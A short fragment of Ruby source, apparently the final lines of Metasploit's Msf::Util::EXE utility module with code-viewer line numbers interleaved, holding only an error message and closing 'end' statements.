raise 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
825
end
826
res
827
end
828
end
829
class << self
830
include ClassMethods
831
end
832
end
833
834